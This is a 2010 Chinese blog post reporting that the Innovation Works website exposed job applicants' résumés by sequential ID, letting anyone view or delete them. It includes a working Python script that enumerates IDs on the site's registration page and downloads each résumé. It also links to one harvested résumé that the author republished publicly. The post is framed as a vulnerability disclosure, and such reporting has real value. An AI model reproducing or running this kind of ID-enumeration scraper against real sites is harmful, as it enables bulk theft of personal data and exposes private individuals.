Wednesday, June 30, 2010

李开复创新工场网站第一天的漏洞

李开复创业非常节约,“创新工场”网站“仅花7500元”招兼职开发。

相关新闻:

李开复创新工场网站 花7500元招兼职开发

http://www.pconline.com.cn/pcedu/softnews/yejie/0909/1793945.html

李开复:开业第一天收到7000封简历

http://real.v.ifeng.com/vplay/ifeng/20091018/115683.shtml

不过第一天我就发现创新工场网站简历提交含有漏洞:可以查看别人的简历,并能删除!

使用python简单代码抓取这些简历:

import   urllib  

begin =9100
end = 10113
while begin<=end:
    print str(begin)
    data   =   urllib.urlopen('http://www.innovation-works.com/Registration.asp?action=JiShu&bigid='+str(begin)).read()
    f=open('kfl/'+str(begin)+'.htm','w')
    f.write(data)
    f.close()
    begin = begin +1


 

可以证明的是第一天他真的收到7000封简历.

第二天发Email给他的助手并得到回复:

 

抓取的其中一个简历 http://zqt.appspot.com/test/1788.htm

Add a reaction

About You

Comment